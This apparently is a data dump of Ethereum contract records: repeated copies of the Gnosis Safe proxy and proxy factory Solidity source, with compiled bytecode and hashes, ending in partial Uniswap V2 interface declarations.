// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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|
095cea4b9bc89da17d0717e95879e93d604978ef
|
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|
101615e1d61e11d014ebaadd40a5fab22fba9079
|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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| |
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
